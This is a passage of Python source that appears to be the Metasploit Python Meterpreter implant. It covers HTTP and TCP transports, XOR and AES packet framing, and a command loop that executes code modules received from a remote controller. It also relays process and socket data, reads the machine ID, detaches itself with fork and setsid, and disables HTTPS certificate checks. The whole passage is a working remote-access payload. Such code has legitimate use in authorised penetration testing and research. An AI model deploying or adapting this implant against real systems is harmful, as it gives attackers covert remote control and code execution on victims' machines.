                return raw[PACKET_HEADER_SIZE:]
        return None

    def get_packet(self):
        self.request_retire = False
        try:
            pkt = self.decrypt_packet(self._get_packet())
        except:
            debug_traceback()
            return None
        if pkt is None:
            return None
        self.communication_last = time.time()
        return pkt

    def encrypt_packet(self, pkt):
        # The packet now has to contain session GUID and encryption flag info
        # And given that we're not yet supporting AES, we're going to just
        # always return the session guid and the encryption flag set to 0
        enc_type = ENC_NONE
        if self.aes_key:
            # The encryption key is present, but we should only used the key
            # when it is enabled. If we use it before it's enabled, then we
            # end up encrypting the packet that contains the key before
            # sending it back to MSF, and it won't be able to decrypt it yet.
            if self.aes_enabled:
                iv = rand_bytes(16)
                enc = iv + met_aes_encrypt(self.aes_key, iv, pkt[8:])
                hdr = struct.pack('>I', len(enc) + 8) + pkt[4:8]
                pkt = hdr + enc
                # We change the packet encryption type to tell MSF that
                # the packet is encrypted.
                enc_type = ENC_AES256
            else:
                # If we get here, it means that the AES encryption key
                # is ready to use from this point onwards as the last
                # plain text packet has been sent back to MSF containing
                # the key, and so MSF will be able to handle encrypted
                # communications from here.
                self.aes_enabled = True

        xor_key = rand_xor_key()
        raw = binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')) + struct.pack('>I', enc_type) + pkt
        result = struct.pack('BBBB', *xor_key) + xor_bytes(xor_key, raw)
        return result

    def send_packet(self, pkt):
        pkt = struct.pack('>I', len(pkt) + 4) + pkt
        self.request_retire = False
        try:
            self._send_packet(self.encrypt_packet(pkt))
        except:
            debug_traceback()
            return False
        self.communication_last = time.time()
        return True

    def tlv_pack_timeouts(self):
        response  = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
        response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total)
        response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait)
        return response

    def tlv_pack_transport_group(self):
        trans_group  = tlv_pack(TLV_TYPE_TRANS_URL, self.url)
        trans_group += self.tlv_pack_timeouts()
        return trans_group

class HttpTransport(Transport):
    def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None):
        super(HttpTransport, self).__init__()
        opener_args = []
        scheme = url.split(':', 1)[0]
        if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2, 7, 9)) or sys.version_info >= (3, 4, 3)):
            import ssl
            ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            ssl_ctx.check_hostname = False
            ssl_ctx.verify_mode = ssl.CERT_NONE
            opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
        if proxy:
            opener_args.append(urllib.ProxyHandler({scheme: proxy}))
            opener_args.append(urllib.ProxyBasicAuthHandler())
        self.proxy = proxy
        opener = urllib.build_opener(*opener_args)
        opener.addheaders = []
        if user_agent:
            opener.addheaders.append(('User-Agent', user_agent))
        if http_cookie:
            opener.addheaders.append(('Cookie', http_cookie))
        if http_referer:
            opener.addheaders.append(('Referer', http_referer))
        self.user_agent = user_agent
        urllib.install_opener(opener)
        self.url = url
        self._http_request_headers = {'Content-Type': 'application/octet-stream'}
        if http_host:
            self._http_request_headers['Host'] = http_host
        self._first_packet = None
        self._empty_cnt = 0

    def _activate(self):
        return True
        self._first_packet = None
        packet = self._get_packet()
        if packet is None:
            return False
        self._first_packet = packet
        return True

    def _get_packet(self):
        if self._first_packet:
            packet = self._first_packet
            self._first_packet = None
            return packet
        packet = None
        xor_key = None
        request = urllib.Request(self.url, None, self._http_request_headers)
        urlopen_kwargs = {}
        if sys.version_info > (2, 6):
            urlopen_kwargs['timeout'] = self.communication_timeout
        try:
            url_h = urllib.urlopen(request, **urlopen_kwargs)
            packet = url_h.read()
            for _ in range(1):
                if packet == '':
                    break
                if len(packet) < PACKET_HEADER_SIZE:
                    packet = None  # looks corrupt
                    break
                xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
                header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
                pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
                if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
                    packet = None  # looks corrupt
        except:
            debug_traceback('Failure to receive packet from ' + self.url)

        if not packet:
            delay = 10 * self._empty_cnt
            if self._empty_cnt >= 0:
                delay *= 10
            self._empty_cnt += 1
            time.sleep(float(min(10000, delay)) / 1000)
            return packet

        self._empty_cnt = 0
        return packet

    def _send_packet(self, packet):
        request = urllib.Request(self.url, packet, self._http_request_headers)
        urlopen_kwargs = {}
        if sys.version_info > (2, 6):
            urlopen_kwargs['timeout'] = self.communication_timeout
        url_h = urllib.urlopen(request, **urlopen_kwargs)
        response = url_h.read()

    def patch_uri_path(self, new_path):
        match = re.match(r'https?://[^/]+(/.*$)', self.url)
        if match is None:
            return False
        self.url = self.url[:match.span(1)[0]] + new_path
        return True

    def tlv_pack_transport_group(self):
        trans_group  = super(HttpTransport, self).tlv_pack_transport_group()
        if self.user_agent:
            trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent)
        if self.proxy:
            trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy)
        return trans_group

class TcpTransport(Transport):
    def __init__(self, url, socket=None):
        super(TcpTransport, self).__init__()
        self.url = url
        self.socket = socket
        self._cleanup_thread = None
        self._first_packet = True

    def _sock_cleanup(self, sock):
        remaining_time = self.communication_timeout
        while remaining_time > 0:
            iter_start_time = time.time()
            if select.select([sock], [], [], remaining_time)[0]:
                if len(sock.recv(4096)) == 0:
                    break
            remaining_time -= time.time() - iter_start_time
        sock.close()

    def _activate(self):
        address, port = self.url[6:].rsplit(':', 1)
        port = int(port.rstrip('/'))
        timeout = max(self.communication_timeout, 30)
        if address in ('', '0.0.0.0', '::'):
            try:
                server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
                server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
            except (AttributeError, socket.error):
                server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_sock.bind(('', port))
            server_sock.listen(1)
            if not select.select([server_sock], [], [], timeout)[0]:
                server_sock.close()
                return False
            sock, _ = server_sock.accept()
            server_sock.close()
        else:
            if ':' in address:
                sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            sock.connect((address, port))
            sock.settimeout(None)
        self.socket = sock
        self._first_packet = True
        return True

    def _deactivate(self):
        cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
        cleanup.run()
        self.socket = None

    def _get_packet(self):
        first = self._first_packet
        self._first_packet = False
        if not select.select([self.socket], [], [], 0.5)[0]:
            return bytes()
        packet = self.socket.recv(PACKET_HEADER_SIZE)
        if packet == '':  # remote is closed
            self.request_retire = True
            return None
        if len(packet) != PACKET_HEADER_SIZE:
            if first and len(packet) == 4:
                received = 0
                header = packet[:4]
                pkt_length = struct.unpack('>I', header)[0]
                self.socket.settimeout(max(self.communication_timeout, 30))
                while received < pkt_length:
                    received += len(self.socket.recv(pkt_length - received))
                self.socket.settimeout(None)
                return self._get_packet()
            return None

        xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
        # XOR the whole header first
        header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
        # Extract just the length
        pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0]
        pkt_length -= 8
        # Read the rest of the packet
        rest = bytes()
        while len(rest) < pkt_length:
            rest += self.socket.recv(pkt_length - len(rest))
        # return the whole packet, as it's decoded separately
        return packet + rest

    def _send_packet(self, packet):
        self.socket.send(packet)

    @classmethod
    def from_socket(cls, sock):
        url = 'tcp://'
        address, port = sock.getsockname()[:2]
        # this will need to be changed if the bind stager ever supports binding to a specific address
        if not address in ('', '0.0.0.0', '::'):
            address, port = sock.getpeername()[:2]
        url += address + ':' + str(port)
        return cls(url, sock)

class PythonMeterpreter(object):
    def __init__(self, transport):
        self.transport = transport
        self._transport_sleep = None
        self.running = False
        self.last_registered_extension = None
        self.extension_functions = {}
        self.channels = {}
        self.next_channel_id = 1
        self.interact_channels = []
        self.processes = {}
        self.next_process_id = 1
        self.transports = [self.transport]
        self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT
        self.session_expiry_end = time.time() + self.session_expiry_time
        for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
            self.extension_functions[func[1:]] = getattr(self, func)
        self.running = True

    def register_extension(self, extension_name):
        self.last_registered_extension = extension_name
        return self.last_registered_extension

    def register_function(self, func):
        self.extension_functions[func.__name__] = func
        return func

    def register_function_if(self, condition):
        if condition:
            return self.register_function
        else:
            return lambda function: function

    def register_function_windll(self, func):
        if has_windll:
            self.register_function(func)
        return func

    def add_channel(self, channel):
        if not isinstance(channel, MeterpreterChannel):
            debug_print('[-] channel object is not an instance of MeterpreterChannel')
            raise TypeError('invalid channel object')
        idx = self.next_channel_id
        self.channels[idx] = channel
        debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
        self.next_channel_id += 1
        return idx

    def add_process(self, process):
        idx = self.next_process_id
        self.processes[idx] = process
        debug_print('[*] added process id: ' + str(idx))
        self.next_process_id += 1
        return idx

    def get_packet(self):
        pkt = self.transport.get_packet()
        if pkt is None and self.transport.should_retire:
            self.transport_change()
        return pkt

    def send_packet(self, packet):
        send_succeeded = self.transport.send_packet(packet)
        if not send_succeeded and self.transport.should_retire:
            self.transport_change()
        return send_succeeded

    @property
    def session_has_expired(self):
        if self.session_expiry_time == 0:
            return False
        return time.time() > self.session_expiry_end

    def transport_add(self, new_transport):
        new_position = self.transports.index(self.transport)
        self.transports.insert(new_position, new_transport)

    def transport_change(self, new_transport=None):
        if new_transport is None:
            new_transport = self.transport_next()
        self.transport.deactivate()
        debug_print('[*] changing transport to: ' + new_transport.url)
        while not new_transport.activate():
            new_transport = self.transport_next(new_transport)
            debug_print('[*] changing transport to: ' + new_transport.url)
        self.transport = new_transport

    def transport_next(self, current_transport=None):
        if current_transport is None:
            current_transport = self.transport
        new_idx = self.transports.index(current_transport) + 1
        if new_idx == len(self.transports):
            new_idx = 0
        return self.transports[new_idx]

    def transport_prev(self, current_transport=None):
        if current_transport is None:
            current_transport = self.transport
        new_idx = self.transports.index(current_transport) - 1
        if new_idx == -1:
            new_idx = len(self.transports) - 1
        return self.transports[new_idx]

    def run(self):
        while self.running and not self.session_has_expired:
            request = self.get_packet()
            if request:
                response = self.create_response(request)
                if response:
                    self.send_packet(response)
                if self._transport_sleep:
                    self.transport.deactivate()
                    time.sleep(self._transport_sleep)
                    self._transport_sleep = None
                    if not self.transport.activate():
                        self.transport_change()
                    continue
            # iterate over the keys because self.channels could be modified if one is closed
            channel_ids = list(self.channels.keys())
            for channel_id in channel_ids:
                channel = self.channels[channel_id]
                data = bytes()
                write_request_parts = []
                if isinstance(channel, MeterpreterProcess):
                    if not channel_id in self.interact_channels:
                        continue
                    proc_h = channel.proc_h
                    if proc_h.stderr_reader.is_read_ready():
                        data = proc_h.stderr_reader.read()
                    elif proc_h.stdout_reader.is_read_ready():
                        data = proc_h.stdout_reader.read()
                    elif not channel.is_alive():
                        self.handle_dead_resource_channel(channel_id)
                elif isinstance(channel, MeterpreterSocketTCPClient):
                    while select.select([channel.fileno()], [], [], 0)[0]:
                        try:
                            d = channel.read(1)
                        except socket.error:
                            d = bytes()
                        if len(d) == 0:
                            self.handle_dead_resource_channel(channel_id)
                            break
                        data += d
                elif isinstance(channel, MeterpreterSocketTCPServer):
                    if select.select([channel.fileno()], [], [], 0)[0]:
                        (client_sock, client_addr) = channel.sock.accept()
                        server_addr = channel.sock.getsockname()
                        client_channel_id = self.add_channel(MeterpreterSocketTCPClient(client_sock))
                        self.send_packet(tlv_pack_request('stdapi_net_tcp_channel_open', [
                            {'type': TLV_TYPE_CHANNEL_ID, 'value': client_channel_id},
                            {'type': TLV_TYPE_CHANNEL_PARENTID, 'value': channel_id},
                            {'type': TLV_TYPE_LOCAL_HOST, 'value': inet_pton(channel.sock.family, server_addr[0])},
                            {'type': TLV_TYPE_LOCAL_PORT, 'value': server_addr[1]},
                            {'type': TLV_TYPE_PEER_HOST, 'value': inet_pton(client_sock.family, client_addr[0])},
                            {'type': TLV_TYPE_PEER_PORT, 'value': client_addr[1]},
                        ]))
                elif isinstance(channel, MeterpreterSocketUDPClient):
                    if select.select([channel.fileno()], [], [], 0)[0]:
                        try:
                            data, peer_address = channel.sock.recvfrom(65535)
                        except socket.error:
                            self.handle_dead_resource_channel(channel_id)
                        else:
                            write_request_parts.extend([
                                {'type': TLV_TYPE_PEER_HOST, 'value': peer_address[0]},
                                {'type': TLV_TYPE_PEER_PORT, 'value': peer_address[1]},
                            ])
                if data:
                    write_request_parts.extend([
                        {'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
                        {'type': TLV_TYPE_CHANNEL_DATA, 'value': data},
                        {'type': TLV_TYPE_LENGTH, 'value': len(data)},
                    ])
                    self.send_packet(tlv_pack_request('core_channel_write', write_request_parts))

    def handle_dead_resource_channel(self, channel_id):
        del self.channels[channel_id]
        if channel_id in self.interact_channels:
            self.interact_channels.remove(channel_id)
        self.send_packet(tlv_pack_request('core_channel_close', [
            {'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
        ]))

    def _core_set_uuid(self, request, response):
        new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
        if new_uuid:
            PAYLOAD_UUID = binascii.b2a_hex(new_uuid['value'])
        return ERROR_SUCCESS, response

    def _core_enumextcmd(self, request, response):
        id_start = packet_get_tlv(request, TLV_TYPE_UINT)['value']
        id_end = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + id_start
        for func_name in self.extension_functions.keys():
            command_id = cmd_string_to_id(func_name)
            if command_id is None:
                continue
            if id_start < command_id and command_id < id_end:
                response += tlv_pack(TLV_TYPE_UINT, command_id)
        return ERROR_SUCCESS, response

    def _core_get_session_guid(self, request, response):
        response += tlv_pack(TLV_TYPE_SESSION_GUID, binascii.a2b_hex(bytes(SESSION_GUID, 'UTF-8')))
        return ERROR_SUCCESS, response

    def _core_set_session_guid(self, request, response):
        new_guid = packet_get_tlv(request, TLV_TYPE_SESSION_GUID)
        if new_guid:
            SESSION_GUID = binascii.b2a_hex(new_guid['value'])
        return ERROR_SUCCESS, response

    def _core_machine_id(self, request, response):
        serial = ''
        machine_name = platform.uname()[1]
        if has_windll:
            from ctypes import wintypes

            k32 = ctypes.windll.kernel32
            sys_dir = ctypes.create_unicode_buffer(260)
            if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
                return ERROR_FAILURE_WINDOWS

            vol_buf = ctypes.create_unicode_buffer(260)
            fs_buf = ctypes.create_unicode_buffer(260)
            serial_num = wintypes.DWORD(0)

            if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
                    vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
                    None, fs_buf, ctypes.sizeof(fs_buf)):
                return ERROR_FAILURE_WINDOWS
            serial_num = serial_num.value
            serial = "%04x" % ((serial_num >> 16) & 0xffff) + '-' "%04x" % (serial_num & 0xffff)
        else:
            serial = get_hdd_label()

        response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
        return ERROR_SUCCESS, response

    def _core_native_arch(self, request, response):
        response += tlv_pack(TLV_TYPE_STRING, get_native_arch())
        return ERROR_SUCCESS, response

    def _core_patch_url(self, request, response):
        if not isinstance(self.transport, HttpTransport):
            return ERROR_FAILURE, response
        new_uri_path = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
        if not self.transport.patch_uri_path(new_uri_path):
            return ERROR_FAILURE, response
        return ERROR_SUCCESS, response

    def _core_negotiate_tlv_encryption(self, request, response):
        debug_print('[*] Negotiating TLV encryption')
        self.transport.aes_key = rand_bytes(32)
        self.transport.aes_enabled = False
        response += tlv_pack(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256)
        der = packet_get_tlv(request, TLV_TYPE_RSA_PUB_KEY)['value'].strip()
        debug_print('[*] RSA key: ' + str(binascii.b2a_hex(der)))
        debug_print('[*] AES key: ' + hex(met_rsa.b2i(self.transport.aes_key)))
        enc_key = met_rsa_encrypt(der, self.transport.aes_key)
        debug_print('[*] Encrypted AES key: ' + hex(met_rsa.b2i(enc_key)))
        response += tlv_pack(TLV_TYPE_ENC_SYM_KEY, enc_key)
        debug_print('[*] TLV encryption sorted')
        return ERROR_SUCCESS, response

    def _core_loadlib(self, request, response):
        data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
        if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
            return ERROR_FAILURE, response

        libname = '???'
        match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data_tlv['value']), re.MULTILINE)
        if match is not None:
            libname = match.group(1)

        self.last_registered_extension = None
        symbols_for_extensions = {'meterpreter': self}
        symbols_for_extensions.update(EXPORTED_SYMBOLS)
        i = code.InteractiveInterpreter(symbols_for_extensions)
        i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
        extension_name = self.last_registered_extension

        if extension_name:
            check_extension = lambda x: x.startswith(extension_name)
            lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
            for method in lib_methods:
                response += tlv_pack(TLV_TYPE_UINT, cmd_string_to_id(method))
        return ERROR_SUCCESS, response

    def _core_shutdown(self, request, response):
        response += tlv_pack(TLV_TYPE_BOOL, True)
        self.running = False
        return ERROR_SUCCESS, response

    def _core_transport_add(self, request, response):
        new_transport = Transport.from_request(request)
        self.transport_add(new_transport)
        return ERROR_SUCCESS, response

    def _core_transport_change(self, request, response):
        new_transport = Transport.from_request(request)
        self.transport_add(new_transport)
        self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
        self.transport_change(new_transport)
        return None

    def _core_transport_list(self, request, response):
        if self.session_expiry_time > 0:
            response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
        response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())

        transport = self.transport_next()
        while transport != self.transport:
            response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group())
            transport = self.transport_next(transport)
        return ERROR_SUCCESS, response

    def _core_transport_next(self, request, response):
        new_transport = self.transport_next()
        if new_transport == self.transport:
            return ERROR_FAILURE, response
        self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
        self.transport_change(new_transport)
        return None

    def _core_transport_prev(self, request, response):
        new_transport = self.transport_prev()
        if new_transport == self.transport:
            return ERROR_FAILURE, response
        self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
        self.transport_change(new_transport)
        return None

    def _core_transport_remove(self, request, response):
        url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
        if self.transport.url == url:
            return ERROR_FAILURE, response
        transport_found = False
        for transport in self.transports:
            if transport.url == url:
                transport_found = True
                break
        if transport_found:
            self.transports.remove(transport)
            return ERROR_SUCCESS, response
        return ERROR_FAILURE, response

    def _core_transport_set_timeouts(self, request, response):
        timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
        if not timeout_value is None:
            self.session_expiry_time = timeout_value
            self.session_expiry_end = time.time() + self.session_expiry_time
        timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
        if timeout_value:
            self.transport.communication_timeout = timeout_value
        retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value')
        if retry_value:
            self.transport.retry_total = retry_value
        retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value')
        if retry_value:
            self.transport.retry_wait = retry_value

        if self.session_expiry_time > 0:
            response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
        response += self.transport.tlv_pack_timeouts()
        return ERROR_SUCCESS, response

    def _core_transport_sleep(self, request, response):
        seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
        self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
        if seconds:
            self._transport_sleep = seconds
        return ERROR_SUCCESS, response

    def _core_channel_open(self, request, response):
        channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
        handler = 'channel_open_' + channel_type['value']
        if handler not in self.extension_functions:
            debug_print('[-] core_channel_open missing handler: ' + handler)
            return error_result(NotImplementedError), response
        debug_print('[*] core_channel_open dispatching to handler: ' + handler)
        handler = self.extension_functions[handler]
        return handler(request, response)

    def _core_channel_close(self, request, response):
        channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
        if channel_id not in self.channels:
            return ERROR_FAILURE, response
        channel = self.channels[channel_id]
        status, response = channel.core_close(request, response)
        if status == ERROR_SUCCESS:
            del self.channels[channel_id]
            if channel_id in self.interact_channels:
                self.interact_channels.remove(channel_id)
            debug_print('[*] closed and removed channel id: ' + str(channel_id))
        return status, response

    def _core_channel_eof(self, request, response):
        channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
        if channel_id not in self.channels:
            return ERROR_FAILURE, response
        channel = self.channels[channel_id]
        status, response = channel.core_eof(request, response)
        return ERROR_SUCCESS, response


    def _core_channel_interact(self, request, response):
        channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
        if channel_id not in self.channels:
            return ERROR_FAILURE, response
        channel = self.channels[channel_id]
        toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
        if toggle:
            if channel_id in self.interact_channels:
                self.interact_channels.remove(channel_id)
            else:
                self.interact_channels.append(channel_id)
        elif channel_id in self.interact_channels:
            self.interact_channels.remove(channel_id)
        return ERROR_SUCCESS, response

    def _core_channel_read(self, request, response):
        channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
        if channel_id not in self.channels:
            return ERROR_FAILURE, response
        channel = self.channels[channel_id]
        status, response = channel.core_read(request, response)
        if not channel.is_alive():
            self.handle_dead_resource_channel(channel_id)
        return status, response

    def _core_channel_write(self, request, response):
        channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
        if channel_id not in self.channels:
            return ERROR_FAILURE, response
        channel = self.channels[channel_id]
        status = ERROR_FAILURE
        if channel.is_alive():
            status, response = channel.core_write(request, response)
        # evaluate channel.is_alive() twice because it could have changed
        if not channel.is_alive():
            self.handle_dead_resource_channel(channel_id)
        return status, response

    def create_response(self, request):
        response = struct.pack('>I', PACKET_TYPE_RESPONSE)
        commd_id_tlv = packet_get_tlv(request, TLV_TYPE_COMMAND_ID)
        response += tlv_pack(commd_id_tlv)
        response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))

        handler_name = cmd_id_to_string(commd_id_tlv['value'])
        if handler_name in self.extension_functions:
            handler = self.extension_functions[handler_name]
            try:
                debug_print('[*] running method ' + handler_name)
                result = handler(request, response)
                if result is None:
                    debug_print("[-] Not a good result!")
                    return
                result, response = result
            except Exception:
                debug_traceback('[-] method ' + handler_name + ' resulted in an error')
                result = error_result()
            else:
                if result != ERROR_SUCCESS:
                    debug_print('[-] method ' + handler_name + ' resulted in error: #' + str(result))
        else:
            debug_print('[-] method ' + handler_name + ' was requested but does not exist')
            result = error_result(NotImplementedError)

        reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
        if not reqid_tlv:
            debug_print("[-] No request ID found")
            return
        response += tlv_pack(reqid_tlv)
        debug_print("[*] Sending respond packet")
        return response + tlv_pack(TLV_TYPE_RESULT, result)

# PATCH-SETUP-ENCRYPTION #

_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
    if hasattr(os, 'setsid'):
        try:
            os.setsid()
        except OSError:
            pass

    if HTTP_CONNECTION_URL and has_urllib:
        transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT,
                http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE)
    else:
        # PATCH-SETUP-STAGELESS-TCP-SOCKET #
        transport = TcpTransport.from_socket(s)
    met = PythonMeterpreter(transport)
    # PATCH-SETUP-TRANSPORTS #
    met.run()